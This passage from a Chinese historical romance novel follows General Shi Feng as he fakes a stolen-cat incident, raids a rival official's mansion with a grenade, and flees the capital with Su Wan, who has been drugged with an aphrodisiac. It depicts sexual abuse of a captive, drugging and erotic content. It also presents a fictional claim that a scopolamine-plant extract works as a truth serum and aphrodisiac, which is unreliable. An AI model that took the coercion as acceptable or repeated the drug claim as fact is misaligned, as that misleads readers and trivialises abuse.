“要不是温侍郎写信告知，老夫竟还蒙在鼓里。温侍郎也是瞎了眼，遇人不淑，兄弟与发妻纠缠不清。你可知他的父亲温祭酒，是我同你爹的恩师，教会两代人读书做人的道理。而你竟敢觊觎温祭酒的儿媳，简直是大逆不道，倒反天罡！”
“从今往后，不许你同苏府的女儿家再有来往。你也别怪我老头子多管闲事，你爹既许下老夫这门亲家，便是允了你这半子与我为后。违抗父命，不忠不孝，你可担待得起？”
老头气得眉毛胡须一把抓，就差“咔嚓”亮出宝剑，将时枫这个“不孝子”就地正法。
潮水般谴责伴随着唾沫星子，倾盆大雨之势砸向时枫，但他没有听进去一个字。
他的思绪停泊在“写信告知”四字头处，温如初从头到尾都没有打算原谅他，相反，对方一直在暗处冷静布置玲珑棋局，欲将他这枚背信弃义的黑子，一举拿下。可笑他这位沙场走马的武将军，竟还在侥幸自己躲过一劫。
忽然脑子里灵光一闪。
既然温如初不原谅他，那么大概也不会放过苏绾。可是，为何她不向他求援呢？
小暑夏弦，热浪前潮。
自从苏绾被温如初掳走以后，十日不曾归家。这十天里，无霜跟丢了魂一样。
她遣文竹去温府打听苏绾近况，得到的永远是一句话：“苏姑娘一切安好，暂无归家意图。”
小姐怎可能不想回家嘛。
无霜想起苏绾临行前的嘱咐：“我若有何不测，你可打发文竹去东城时府找时将军救火。他若不肯来，你就说我被恶鬼缚身，生命危在旦夕，他听了自然就会来的。”
然而文竹天天跨越半座京城赶去时府，次次
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都被门口侍卫拦挡，声称：“无令无帖不得入内。”
无霜急得直跺脚，但她也别无他法。
扫院婢女春蝉建议，让无霜去找时将军身边的侍卫，“我听说大将军身旁的侍卫，都很通情达理，未必不可求。”
无霜想了想，她与时将军的侍卫晴雷，倒是有一面之缘，也许此法行得通。
既如此决议，无霜出门叫了辆马车，匆忙地踏上车板，拉紧车帘。马车颠簸，手腕玉镯碰撞声不断，撞击紧绷的心弦。
她来到东城时府，只见一排卫兵身穿铠甲手持长矛，森然守立门前。她深吸一口气，试图压抑心中不安，鼓足勇气上前询问。
卫兵问道：“可有拜帖或召令？”
无霜摇摇头，“没有。”
卫兵正色道：“无帖无令不得入内。”
果然如文竹所述，一字不差。无霜脸色骤变，小心退回到门前槐树下，悄悄隔岸张望。
槐树枝叶扶苏，随风轻轻摇曳，发出微微的沙沙声。她仰首从枝叶罅隙间看向阳光，斑驳而无奈。一只小鸟飞过，落在槐树枝端，啾啾地叫着，仿佛催促她快想办法。
眼前黑影闪现，直剌剌从头顶压下来，遮挡碧蓝天空。
“你找谁？”
无霜抬首一看，少年眼睛圆润明亮，仿佛含着光。对着她冁然一笑，露出整齐洁白牙齿。
他抱着臂膀，身穿缇骑曳撒，腰挎雁翎短刀。立如芝兰玉树，笑若朗月清风，少年意气，覆水难收。
无霜脸颊蓦然一红，低首垂眸，“我家小姐找时将军，有、有事情。”
“有何事？”晴雷笑眼睇着她。
今日运气不错，竟然撞见栀子花姑娘。距离上次端午佳节初遇，已有月余，着实有点长久。
无霜想起苏绾交待话语，更加羞愧难当，结结巴巴：“有、有……”
她支吾半日也未说出来，倒让晴雷愣了一下。
“别急，慢慢来。”少年明亮的眼眸闪了闪，“先告诉我，你的名字。”
嗯？都什么时候了，还有心情问她名字。无霜白了少年一眼，没有搭理他。
“我家小姐被、被恶鬼缠身，生、生命危在旦夕……”
晴雷眼眸一沉，“什么时候的事，你仔细说一说。”
无霜将事情原委阐述一遍，听得晴雷眉头紧锁。倘若苏姑娘出了事情，“鳐鱼”怎会不告知他？
除非有人拦截了眼线的消息。
他将此事禀告给时枫，彼时时枫刚被沈恪骂得狗血淋头，就差跪下来痛哭流涕求老头原谅。结合前前后后的信息线索，不难得出结论：沈恪暗中出手，隔绝了苏府一切通讯求援手段。
管不了那么多，眼下大计，必须立刻救出苏绾。倘若沈恪出面阻拦，逼迫他断了念想，那他只有誓死抵抗“父命”。
反正他已“不忠、不义”，不介意再加上两条“不仁、不孝”。
苏绾是他的宝贝，他须拿命来守护。
时枫凤眸一沉，吩咐晴雷：“你去将镇南王的御猫绑了，丢进温家宅院。”
晴雷一惊，“爷想早早结束属下性命？人家镇南王是皇上的宗亲哥哥，货真价实的亲王爷。他家的御猫比世子地位都高，整日跟王爷同起同坐。属下长几颗头都不够绑那畜生。”
时枫怒道：“不过叫你抓只猫，怎么就要你小命？你的命就那么不值钱，连畜生都比不过。”
晴雷悻悻道：“敢情不是叫您去做这掉脑袋差事。属下为守护主子而亡，心甘情愿。为个畜生丢掉性命，那才窝囊死了。”
时枫不耐烦摆手，“去去去，你敢抗令，我砍你的脑袋。你就心甘情愿，死得其所了。”
夜幕降临，星河耿耿。时府一片寂静，灯暗虫唧唧。
沈枝意哭道：“爹爹，我们做什么都没用，枫哥哥的心，早被那狐媚子夺走。我跟爹爹讲过，画舫那日，卿卿亲眼所见，毒妇如何勾引枫哥哥，卿卿根本不是她的对手。”
沈恪暗暗咬牙，“没想到搬出温侍郎的颜面，竟也不能唬住他小子。今日这场‘父慈子孝，苦口婆心’戏码，瞎子点灯白费蜡。你我须从长计议，留住榆白的人和心，搅黄那女人的毒计。”
沈枝意点点头，“女儿的意思，爹爹全然明了。卿卿今生，非枫哥哥不嫁不可。谁要是敢来挡我的道，我就要谁，肠穿肚烂，化为飞灰。”
少女明眸骤然黯淡，如星子坠落，万物沉沦。
47. 夜袭
点星缀空影，银河入檐白，温府宅邸内。
如玉公子一改往日温润形象，化身凶煞恶鬼，势要将那不肯听话的叛逆女神从神台上拉扯下来。
双眼透着血红，白色衣襟半场半开，扯着破碎佳人的衣领，满脸兴奋之色，“你可知我，为何一直与你刻意保持距离，从未有过非分之举？”
拢起湿汗淋淋的发髻，向后顺发稍梳理，“因为我不喜欢纯情小白兔，尤其是你这种破瓜年华，一身白璧无瑕。”他侧首啐了一口，“令人作呕。”
修长手指抚上桃腮，揩去唇际污秽残余，“我须养着你，让你受千人踏万人践，从荆棘中开出美艳绝伦的花朵。到那时，你将成为永世不朽的伟大作品。”
手指放进自己嘴里舔舐，“啧，多么美妙的味道。”
公子意气骄奢，神情不可一世，如君王纵横捭阖。佳人惴惴其栗，待宰羔羊，等待接受神祇的末日审判。
“报——”
电光火石之间，却听门外急促脚步声，紧接着传来急报：“主子爷，大事不妙。隔壁镇南王府派人找上门来，说咱们家拐了王爷的御猫，吵嚷着要搜查宅院。”
“御猫？”温如初眉头一蹙。
镇南王年逾六旬，赋闲在家，也无他事可做，平日极其宠爱养猫。坏就坏在，当今圣上也是猫奴，专门修建“猫儿房”，还从其中挑选精英者，赏赐给同样嗜猫成痴的镇南王，美其名曰：御猫。
御猫身份尊贵，等同世子地位。今朝御猫走失，对方非赖上他不可。
可恶，偏偏在这个节骨眼。
温如初怒道：“找人看好她。”
言讫，挺身趸出门外，小厮迎面递上干净外袍，他一路穿戴整齐，又用汗巾抹了把脸，见到镇南王府总管时，依旧澹然朱紫模样。
夜幕笼罩暗室，十数名身强力壮的家丁守卫门前。他们身着锦衣，气度凝重，如同山峰般威武雄壮，与寻常人家的仆役小厮完全不同，更像是训练有素的打手。
突然，狂风卷起，黑暗中一位身形飘忽的黑衣蒙面人闪现，如鬼魅般猛然砍击家丁后颈。“唰！”一道冷光闪耀，似闪电划破长空，家丁应声倒地，瞬间失去意识。其他家丁迅速反应过来，纷纷挥舞双拳，猛然冲向蒙面人。
他凤眸一凝，双手虎虎生风，犹如猛虎出笼，霸气十足。拳拳到肉，轰轰作响，狂风骤起，土石飞扬，场面变得极其混乱。
家丁们拳脚攻击连绵不断，蒙面人游走在他们之间，身形飘逸，攻守自如。他的身手敏捷，威力惊人，让人不敢小觑。他的目光深邃，神态冷酷，仿佛从未有过战斗。
蒙面人身形忽然一闪，从家丁的攻击之中迅速穿过，击中对手下颌，发出清脆的骨裂声。
家丁们接连倒地，蒙面人冷笑一声，神态狂傲，毫不留情地踩着家丁身体，径直走向屋内。
天色已经暗淡，四周静谧无声。蒙面人放眼逡巡四周，发现前方跪伏人影。
他甫一接近，那人影猛地转过头来，竟是温府主母温夫人，她神情恍惚不定，不当不正地跪在地上，不知是何原因。
“咦……”蒙面人眼底闪过微微诧色，心中不禁一动，伸出手去，欲扶起温夫人。
哪知温夫人回手一抓，猝不及防揪住蒙面人臂膀，大声呼喊：“念儿，念儿，有贼，快来！”
蒙面人怒不可遏，卷起袖子准备出手。就在此时，外面传来骚动和脚步声。他扭头一看，发现更多人影正往暗室方向赶来。
眼看情势不妙，蒙面人咬了咬牙，毫不留情手刀劈向温夫人颈项，将她击晕在地。
蒙面人踅身逡巡屋内，床铺传来女子呻吟声。他疾步上前，拉开床帘，赫然望见苏绾躺卧铺上，浑身□□。
苏绾听见动静，磨蹭身子，星眸虚眯，檀口微张，伸出玉臂去够他。
“他娘的。”
蒙面人眼中闪过一抹冷芒，心中燃起熊熊怒火，他恶狠狠地以衾被卷了苏绾，夹在腋下，窜出门外。
他紧紧抱住苏绾，向着十数位护院家丁冲去。左手用力向后一挥，将一名家丁打倒在地，右手紧握衾被，护住苏绾，不让她受到丝毫伤害。
这批家丁们手持锋利武器，如同狼群围攻蒙面人。眼见刀剑袭来，他迅速后退，迎面避过一刀，侧身躲开一剑，旋身一转，身后狼牙棒兀然捅出。
蒙面人心中惊呼好险，还未站稳脚跟，冷不防又一刀自左后方伸出，不当不正砍在左臂，黑色衣袖立即浸染鲜红血色，然借助夜色掩映，看得不很清楚。
疼痛让蒙面人身体一震，但他没有停步，咬牙硬挺，继续突围。衣袍被刀剑削裂，鲜血洒落空中，但他毫不畏惧，紧紧用身体保护着苏绾。
前方出现一堵高墙，他已经被逼至墙根，无路可退。家丁们紧追不舍，向他发动猛烈地攻击，刀剑如同暴风骤雨向他袭来。
身前刀山火海，身后穷途末路。想他翛然纵横一世，有朝一日竟被逼至绝望境地。蒙面人凤眸一沉，咬了咬后槽牙。
他右手护住苏绾，左手自怀中掏出一枚袖珍“震天雷”，嘴角扯掉拉环，向空中一掷，发出爆裂响声，强大的气流波动席卷天下，顷刻间火光冲天，家丁躲闪不及，应声倒地。
蒙面人搂紧苏绾，反手抓住墙壁藤蔓，踩着坑隙沿墙攀爬，三步两步爬上墙垣。轻轻一纵，越墙而过，留下家丁面面相觑。
对方手臂伤重，还能凭借超强臂力，一手抱着苏绾，一手承载自身重量，可见武艺超群。
剩余家丁一看事不妙，立刻分成几路：一路追击蒙面人，一路向家主通风报信，另一路摇铃吹哨，呐喊通报全府。
哨声大作，霎时间，整座宅院灯笼高挂，亮如白昼。护院家丁牵着黑狗，不住嗅闻路旁角落痕迹。
温宅也算气派，七进七出院落，楼阁错落复杂。蒙面人凭借儿时记忆，轻车熟路，专捡狭路避让人群追捕，跌跌撞撞，好几次撞上臂膀伤处，血迹蹭一墙，又连续翻越数道院墙，最终来到温宅后院墙外。
一辆马车守候在树荫底下。
见蒙面人现身，晴雷上前接应，“爷此行顺利否？”
时枫摘下面罩，努力平缓气息，牙缝挤出几个字，“你看我像是平安无事么？接着，小心别磕着。”
晴雷极少见到时枫这副落魄模样，恍惚接过被卷，谨慎送进车厢内，一边安置苏绾，一边问道：“爷的功夫退步了，小小一座宅邸，怎就落得这般狼狈？”
时枫骂道：“狼狈你大爷，他的宅子设置上百训练有素的打手，堪比一座镖局，强龙不压地头蛇。”
晴雷回到马前，套好马缰，建议道：“爷，方才那一下‘震天雷’，必会惊扰巡逻兵马司，咱们须即刻出城，回城郊驻兵总营。”
“走西门，今夜值守的城门郎乃家父旧部，断不会为难你我。”
时枫转眼登上马车，二人借着夜色掩映，疾驰离开。
这边温如初正安抚镇南王府朱总管，对方盛气凌人，完全不把温如初放在眼里，耷拉着眼皮，阴阳怪气道：“明人不做暗事。堂堂三品大员，偏要跟御猫作对。温侍郎此举，忒失君子风度。”
温如初两腿分开，端坐太师椅内，面上含笑，“朱总管此言差矣，温某素来与王爷无仇无怨，又何必跟王府的猫儿过不去？想是那御猫嗅闻到陋舍伙房的晚膳，顺着香气寻过来的。”
檀香紫檀木桌案上摆着香蒲，蒲上睡着一只狸猫，浑身雪白蓬松长毛，好似滚圆雪团，是以命名为
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：“飘雪”。猫儿乍醒，眸色一蓝一棕，煞是奇特，抬爪洗漱搓面，打了个呵欠。
温如初睨了一眼飘雪，“而今御猫安然无恙，王爷心宽体长舒。非要揪着不放，给温某平摊莫须有罪名，那我倒要较真了，圣上面前好好掰扯掰扯，鄙舍与镇南王府的恩怨瓜葛。”
镇南王与温家毗邻，两府素有积怨，无非侵占邻土，互相滋扰嫌隙一类。
温老爷子年岁已高，不大管理这些琐碎，温如初头几年又客居佛堂，偌大一间宅邸仅由温夫人一人操持。
温夫人外表看似强势，实际是个花架子，内里柔弱气短。满腔怨恨只管在温念身上发泄，对于王府豪横，却也无可奈何。
等温如初青紫被体归来时，温府土地已被王府占去三成，加盖花园、堂舍等建筑。
温如初自是咽不下这口气，隐忍枳棘刺，筹谋划策，只待积怨爆发，抓住镇南王短处，参他“侵扰邻里”罪名。不曾想本子还没递上去，倒先被人拿住错处，上门兴师问罪。
朱总管一听，对方来者不善，口气充满敌意，恐自己落了下风，折了王爷的颜面，“世人皆知，温侍郎能言善辩，巧舌如簧，某自然说不过你。其中利害，王爷定会明辨是非，他日还君一鸱。”
言毕，朱总管抱起飘雪，愤愤离去。
朱总管的意思，即是镇南王的意思，要叫他“吃不了兜着走”。也罢，这笔账早晚清算，兵来将挡，水来土掩。
忽然小厮来报：“主子爷，后院厢房出事了。”
温如初立刻传令，“增多人手，势必抓他现形。”
未几，听得震天响声，后院火光冲天，真所谓：福无双至，祸不单行。待他到达后院，蒙面人踪影全无。
这分明是一招“调虎离山之计”，歹匪先是绑了镇南王府的御猫，嫁祸给他，趁他同朱总管斡旋之际，偷偷潜入府内，在他眼皮子底下掳走苏绾。
温如初一拳砸在南墙，恨得咬牙切齿。
时枫，你竟然背叛我到这地步。
画舫一日游，温如初已看破事实真相，再无试探那对奸夫霪妇的必要。他之所以掳了苏绾来府里，一是为暴力击溃苏绾的心防，让她彻底沦为他的奴隶，如同他调教温夫人那样；二是为引诱时枫出手搭救苏绾，他再将时枫霸占弟媳的罪名告上御状，捉奸捉双，绝不让时枫有好果子吃。
双管齐下同时，温如初还在朝堂毛遂自荐，打通关系，趁都指挥使沈恪上报海贼滋扰乡里一案，他随即揽了监督漕运钦差职务，准备南下福建浙江。届时浙江布政使殷潜将成为他的首要调查对象。
早在端午之后几天，他就已得到密报，言殷潜正蓄力安排他去杭州监管茶叶征收，在别人的地头替别人做事，少不得受殷潜拿捏。
如今他摇身一变，反客为主，成为调查漕运案的主理人，殷潜成了犯罪嫌疑分子。风水轮流转，温如初这一招反转战役，打得着实漂亮。
圣上懿旨已下，温如初不日即将动身，南下浙江福建两省，当然要携带家眷。
在那之前，他须先使出风雷手段，拿下时枫这块硬石头。
温如初扬手一挥，召来侍从远舟，吩咐他办理几项事务。
“其一，召巡城兵马司吏正，就说我温家遭遇歹徒抢夺，掳走未婚妻，令其提前封锁九道城门，禁止百姓出入，全城搜捕贼人。”
“其二，通知顺天府府尹刘大人，言苏家二小姐遭掳劫，恐有内鬼接应，令他派人查封苏家，事情没有结果之前，不得放走一人。”
“其三，准备笔墨纸砚，待我书奏折一封，夜间急送司礼监秉笔太监处，言温侍郎弹劾镇南王，明日早朝之前，务必递进御书房。”
夜色降临，京城笼罩茫茫黑雾。
48. 出逃
巨大的西城门楼用坚固的石头砌成，上面镶嵌平整青石，显得庄严而厚重。城门口的守卫士兵，身披银甲，手持钢刀，紧紧站立城门两侧，神情警惕。
一轮皎洁的明月高挂雉堞之上，透过瞭望台和箭楼小窗口，洒下斑驳光影，映照城墙顶端石兽栩栩如生，透出阴森气息。
马车疾驰而过，守城士兵立即阻拦。车夫猛然拉起缰绳，马儿扬蹄嘶鸣，石子甬路尘土飞扬，气势十分惊人。
守卫大声喊道：“城门关闭，不得出行。”
车夫高声喝道：“我家主人执令出城，谁人胆敢阻拦！”
守卫坚持不肯放行，车夫无奈跳下车，恭敬地站在车窗口，仔细禀报情况。
“未到戌时五刻，何故关闭城门？”车内响起低沉的声音。
“城门郎接到上级命令，全城九座城门提早关闭，任何车马不得出入。”车夫答道。
“哦？”车内声音略微停顿，“叫城门郎来见我。”
车夫闻言，取下身上腰牌，交于守卫。
守卫转身步入城楼，不多时，疾跑而出，至马车前复命，“城门郎代话，‘末官偶感风寒，身体不适，不便出行拜见，还请将军见谅’。”
夜色沉寂如水，银白月辉倾洒，泼落暗黑车辕，好似挂着一川月瀑。
忽然，那川月瀑抖了一抖，化作碎银满地。自车内传来砰砰两声，紧接着跟随细细的叹息，好似猫叫。
守卫警醒：“里面什么人？”说着，向前探了探身，猫腰往车里面瞅。
帐内漆黑，阒无人声。
车夫两步逼近，身体挡在守卫面前，握着腰间雁翎刀，冷声道：“我家主人有要事在身，城门郎既已放行，尔等不得延误。”
乌金刀鞘分开，露出半刃冷锋，亮闪闪晃眼。
守卫抽了抽鼻子，沉寂一瞬，伸手挥了挥令旗。
城门楼上，守卫高声下令：“开门！”
巨大城门隆隆地开启，车马缓缓行进。阵风吹过，城楼风铃发出清脆的响声，与车辕咕噜咕噜滚动声响，混杂一处，颇有乐律之感。
而那辆马车，风尘仆仆，径直行驶出城，消失在浓浓夜色之中。
时枫两膝分开，端坐车内，两手交叉胸前，凤眸深邃，神情肃穆。
城门郎不愿出面见他，多半因为上级命令难违。他肯开门放行，已给足时家面子，日后一旦清查出来，可是掉脑袋的罪名。
五城兵马司指挥使多为皇亲国戚担当，他们尸位素餐，极少管事。真正在底下干活的，只有几位吏正，负责京城巡捕盗贼，疏理街道沟渠及囚犯、火禁之事。
能在短时间内，调动京直隶兵马司与城门郎听令，非某个官阶简单一句话就能达成，必须要有极为广泛的关系人脉。
温如初动了真格。
时枫撕开衣袖，露出触目惊心的伤口，长约两寸，皮开肉绽，鲜血不断渗出。他扯出汗巾，撕成几条，简单包扎伤臂。全程神态平和，剑眉不曾皱一下，好似家常便饭。
所幸刀口不深，未伤及筋脉。只是伤疤落在显眼处，少不了要遮人耳目。
时枫至今仍然不肯相信，与他从小一起长大的温念，会做出丧尽天良恶行，成为苏绾口中的“恶鬼”。
他与温念同龄，但大出两月，便以兄自居。严格来说，他比温念的辈分低一级。他的父亲绥靖王时谦，年轻时曾拜在温父门下，受其指点迷津。
温念生得晚，恰好遇时枫，二人跟着温父读书习字，好得如胶似漆，形影不离。
温念喜静，性子沉稳，话不多，学堂里常常受其他纨绔子弟欺负。时枫好动，拳头硬，远近闻名“小霸王”。多少次，时枫挥舞藤条，赶跑那些坐在温念后背，当他马儿骑的顽劣孩童。
温念小脸皱巴，哭着说：“谢谢枫哥哥救我。”
时枫摆摆手，“你跟我还客气啥。”他拍拍温念后背，“他们再敢欺负你，下次我就扒了他们的裤子，打得屁股开花，他们就不敢了。”
温念笑眼含泪，狠狠点头，“嗯。”
长到十一、二岁，时枫跟随他爹去兵营历练，温念客居寺庙专心科考，从此两人聚少离多，有时两三年也见不到一回。
荏苒星霜换，弹指间过去十年，时枫成为立下赫赫战功的大将军，而温如初也平步青云，一跃而起，官拜三品户部侍郎。两人在各自领域均有建树，璀璨明珠闪耀。
直至最近，时枫接朝廷一纸调令，将他从西北荒漠戍边迁回京城驻守，他才有机会得与温如初叙旧。
尽管他有时候感觉，温如初的心思高深莫测，让人猜不透他在想些什么，但他敢以人格担保，温如初并非大奸大恶之人，骨子里不过是个爱钻牛角尖的少年罢了。
苏绾所说的“恶鬼论”，包括断定哥哥时樾也是被温如初所害，令时枫难以接受和理解。他以为，苏绾受过某种刺激，落下癔症和疯症的病根，对于温如初的忌惮，实际仅仅是臆想。
然而，今夜他所遭遇种种，亲眼目睹温如初犯下的罪行，他又感到十分迷惑不解。
那个爱哭的小小少年，何时戴上丑陋的恶鬼面具？
时枫攥紧拳头，手肘处缠绕的绷带紧紧勒住，青筋暴起。
他睇向苏绾，见她裹在被子里，躺在车厢铺上，身体微微颤抖，面色苍白无力，口中呻吟不断。
她被人喂了合欢散。
时枫对于合欢散的药性极为熟悉，之前还亲自抓包苏绾买卖证据，彼时他还嘲笑她手段龌龊，转眼间她自己就踩中别人的陷阱。
真是个笨蛋呀。
时枫睨了一眼佳人，揶揄道：“他骗你喝酒，你就喝一壶，怎么那样听话？”
转过头，又气不过，“把我的话当作耳旁风，不是叫你拒绝他吗？”
“你既中了合欢散，才想起来找我解救，你把我当什么人？‘南风馆’的小倌么？专门给你泄火。”
他低着头，仿佛小孩子，嘴里呶呶说不停，越说越离谱，连“小倌”这种话都说出口。
“本将军才不会理你，你自己想办法解决。”他傲娇道。
乘人之危，非君子所为。时枫自认为君子，绝不肯在此刻触碰苏绾，坏了她的名节。
他正襟端坐，故意不去看她。不一会心内躁动不安，因为苏绾一直呼唤他的名字。
“时枫，时枫……”
他凑过身去，“你在叫谁？”
“时枫。”
男人心内一颤，疑心听错了，“时枫是谁？”
“我的男人。”
时枫陡然一惊，差点从铺上跳起来，浑身汗毛都竖起来，结结巴巴：“你、你再、再说一次，时枫是谁？”
苏绾星眸荡漾，“时枫是我的男人。”
时枫一颗心狂跳不已，欲从胸腔迸裂。
他活了二十二年，见过苍山负雪，明烛天南，向往半溪明月，一枕清风。从未有女子，闯进过他心境。伶俜半生，始终鲜衣怒马少年。
蓦然回首，佳人却在水一方。倘若是她，穷尽半生的等待，不枉此生。
时枫攥着拳头，小女儿般缀满心事，一团乱麻，又不知从何梳理。
他颤抖着声音：“你喜欢时枫吗？”
他不敢用那个字眼，而只用“喜欢”代替，担心自己承受不住千金重量。
苏绾沉寂，“我不知道。”
不知道就是不喜欢，时枫对这个答案不甚满意。
“那你喜欢谁？”
苏绾迷离的眼神，侵染疑惑，似乎努力地搜寻记忆，隔了许久，也未给出任何答案。
至少，她没说自己喜欢温如初，否则他必然将她丢出车外。
时枫思了一瞬，决定换种方式测试她。
“你害怕温如初吗？”
苏绾闻之一顿，惶恐道：“怕。”
“为什么？”
苏绾嗫嚅道：“他是恶鬼，吃人不吐骨头。”
时枫蹙了下眉，“他怎么招惹你了？”
苏绾表情一滞，慢慢地，眉眼缩成团，哭道：“他将我绑在十字桩，立向城头，点上松油，活活烧死啦。”
“无缘无故，他为何要烧死你？”
苏绾抽抽搭搭，断断续续道：“他娶了我，又不要我了，送给别人，再要回来。红色旗帜杀过来，他说：都是你这妖女的错。然后就把我烧死了。”
语无伦次，危言耸听，时枫眉头紧蹙，仍不死心，“既然你已经死了，那你还找时枫干什么？”
苏绾星眸一亮，神情激动，“我死了，又活了。重新来过人生。可那恶鬼，依旧不肯放过我。这世界，唯有时枫，能拯救我脱离苦海。”
果不其然。
时枫阖合眼睛，呼出一口气，又抿了抿嘴唇。
苏绾不过是在合欢散药性下，胡说八道而已，并非出自真心。
合欢散取自于东莨菪花汁液，原名为“吐真剂”，虽说能控制人的言行，问之答之，但有一定的风险，错误率太高。服药人有时候胡乱一气回答问题，也大有可能。
刑部早就将合欢散列为审讯禁药，不再信任依靠它的药效。世人皆利用合欢散副作用，当作春药来使用，效果远大于吐真剂。
想必温如初欲从她嘴里，套出躲在她背
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后的男人是谁，才会使用合欢散这种下三滥手段。
于情可释，于理则不通。
假如他的女人背叛他，他会毫不留情一刀割下她的头颅。
相比之下，温如初采用更加温和的逼供手段，因为于心不忍么？
不会，能做出温府那些龌龊手段，对自己的继母下此狠手，谈何慈悲心？
温如初必是对苏绾有所忌惮，或者，留着苏绾另有所图。
温如初和苏绾，到底是什么关系？这才是问题关键所在。只有解开这道谜题，他才能看清楚所有真相。
“你还真信得着我。”时枫揶揄道。
他目视前方，正襟危坐，沉声道：“不跟我说真话，却还指望我拯救你，天底下哪有这么划算的好事？我又不是下凡降世的救世主，你也不是我要解救的芸芸众生。”
“我跟你之间，不过是那么一点点皮肉关系，契约里明码标价，算得清清楚楚。可你跟我索取太多，又不肯剖心置腹，我也犯不着为了你，跟天下人为敌，和兄弟反目成仇。”
时枫并非斤斤计较，小肚鸡肠之人。可天晓得，在苏绾这里，他非要掰扯捣碎，精明算计每一步，真是一点亏都不肯吃。大概是在报复她，胡说八道戏弄他的代价。
一枕槐安，白白空欢喜一场。
怪不得近日来，他心思不宁，夜不能寐。哪知苏绾，就在他眼皮子底下，被人生生剥去一层皮，造成这般落魄模样。
时枫睇着那双星眸，澹如星子，忽然生起些恶趣味。
他插着双臂，垂眸问道：“既然时枫能够救你，那你必须对时枫说实话，知道吗？”
苏绾茫然地点点头。
男人嘴角一扬，脸皮微热，“时枫厉不厉害？”
苏绾使劲点点头，“时枫最厉害。”
嗯？
她说，时枫，最、厉、害。
这个“最”字，颇耐人寻味。
但她的的确确，舍了清白身子与他。
时枫撇了撇嘴，“你这辈子，才见过几个男人，就敢这么说？万一以后，你遇见更、更厉害的男人，你会选择谁？”
“时枫。”一弯玉臂勾住他脖颈，佳人水蛇一般攀上他的肩头，娇声道：“我要时枫。”
药劲上来，她根本把持不住自己。
时枫眼眸一沉，此时此刻，他可一点都不想碰她。并非她没有魅力，事实上，他已经有些坐不住了，身下涌起一团热火，无情烧灼他的胸膛。
他可是君子，君子不乘人之危。哦，咳咳，即便他算不得君子，那他也不能违背妇女意愿，只图一时冲动。
万一这疯婆娘清醒以后，反咬一口，怪他欺负她，又哭天抹泪。他可受不了。
他不要他的女人，再为他掉眼泪。
是的，她是他的女人。
她不是已经承认，他是她的男人了吗？
他当真了。
时枫扯开雪白酥臂，睇着她的眼眸，咬牙道：“你要我就给？本将军是你什么人？”
苏绾神魂颠倒，忘记身份现实，只求男人宠幸她。她也不顾廉耻，一脚踢开盖在身上的衾被，展露满园春光，如同纳征那日。
“我的男人。”
言语动听悦耳，但时枫却高兴不起来。这女人发起疯来，什么疯话都敢讲。
苏绾贴在男人后背，薄薄衣衫根本阻隔不了肌肤之亲，突兀的触感瞬间直冲脑际，男人脊背的肌肉立刻紧绷。
冰凉小舌顺着脖颈滑动，陡得青筋暴起。
“别闹。”时枫反手擒住皓腕，轻轻一拧，将苏绾拉入怀抱。
苏绾“嘤”得一声，跌进铁骨臂弯，男人雄浑气息扑面而来，她又感到欢喜，羞红面颊道：“哥哥要我。”
她伸出玉臂抚摸时枫的脸颊，指尖划过刀劈斧削的线条，留下丝丝缕缕的酥麻感。
美人在怀，时枫强忍冲动，粗壮手指碾上朱唇，轻轻一抹，沉声道：“你老实一点，我马上给你泄火。”
小舌探出，舔舐男人手指，算作回应。
时枫差点没把她扔出车外，脑子里一个念头反复涌动：撕碎她，蹂躏她。
“求哥哥要我。”苏绾呻吟道，星眸闪烁，坠着满天繁星。
男人咬了咬后槽牙，狠命敲击车橼，震得车厢晃荡。
前方传来晴雷的声音，“爷有何吩咐？”
时枫顿了顿，沉声道：“去山涧石洞。”
晴雷惊诧道：“夜黑风高，山涧路不平，恐会翻车。”
车厢内传来男人震怒，“叫你去你就去。敢翻车老子剥了你的皮煮熟筛酒吃。”
49. 山涧
白露暖空，素月流天。
马儿既停，晴雷翻身跳下车，山前摸索探寻，俄顷回禀：“山路蜿蜒，爷多加小心。”
时枫掀开车帷，视线逡巡周遭，不见风吹草动，这才拢着苏绾腿弯，抱着被卷，轻身下车。
万物静默，唯有头上孤冷月色，和脚下寂寂山路。冷风飒飒，吹拂鬓间青丝，若有似无撩过鼻翼，丝丝痒。
“嘻嘻……”苏绾星眸迷离，莫名咯咯笑。
时枫正全神贯注落脚点，提防滑腻的青苔。蓦然听她银铃般笑声，不觉眉间一挑，嘴角翘了翘，“你还笑得出来，一会儿就该哭鼻子了。”
怀里的美人缩了缩肩膀，贴近男人宽阔的胸膛，聆听那蓬勃有力的心跳声，砰砰，砰砰，鼓乐喧天，沉稳且有力。
莫名地，她伸出小舌，舔了舔突起。
雷轰电掣，时枫顿觉头顶霹雳，浑身寒毛卓竖。低头看，美人正不遗余力地“袭击”他，好似在舔食枫糖，吮吸得不亦乐乎。
“你这只猫崽子，不要命了是不是？”大掌捏住细细的下颌，摆出“狠戾”模样。
苏绾星眸迷离，海棠醉日，双颊融融，娇喘吁吁，“时枫……”
“你是我的……”佳人吐纳。
时枫怔愣地睇着她，星月交辉，那温和的眼眸，盈满了一点点，细碎的光芒，分不清是星辰，还是眸光。半点朱唇微微上扬，说不出是戏谑，还是喜悦。
喉结滚了一滚，俯身凑近唇瓣，轻轻地吻她。
她身上带着淡淡的馨香，直往鼻翼里钻，勾动着他的神经脉络，令他有些上头。
纳征那日，在马车前，他的视线一下子就被她捕捉到，陷入桃花陷阱，无法自拔。
她的每一寸肌肤，他都亲手触摸过，吹弹可破，软软绵绵。
毫无疑问，他被她的外表和身体，深深地吸引住，流连忘返。这是人之最本初的欲望，他并不羞于承认。
那个吻酥连绵，如一瓮百年陈酿，香气氤氲，回味悠长，沁人心脾。唇际依依不舍分开，牵挂一丝晶亮，像两段掰开的脆藕。
时枫轻叹口气，蓦然间怀念起端午的醉仙楼、夜晚的闺房、雨天的画舫，无一不存贮甜蜜且畅快的回忆。
至少，他无须克制自己。
此刻，怀里抱着块宝贝，中看不中用，浑身上下都写满“憋屈”二字。
“你再引诱我，也没有用。我是不会动摇的。”
时枫继续前行的脚步，嘴里絮絮叨叨说不停，仿佛一闲下来，他就没法控制自己。
“合欢散无药可解，若不及时发泄，憋到最后，五脏六腑都会烧成灰烬。”
“当然不是字面意思，是说内火攻心，严重时可导致精神失常。”
“常人尚可捱过一劫，你却不行。因为你有癔症和疯症病史，烧过这么一下，估计命都没有了。”
“但我不能直接扑灭你的火气，那样对你太不公平。我会另想办法，借用外力帮你解决问题。”
“这样等你清醒以后，你才不会恨我。”
皎月跟随他的脚步，山涧依硗瘠，光滑峭壁间，藏深幽洞穴。
时枫来到石洞前，对着十步开外的晴雷吩咐道：“任何人都不得靠近洞口，违者斩立决。”
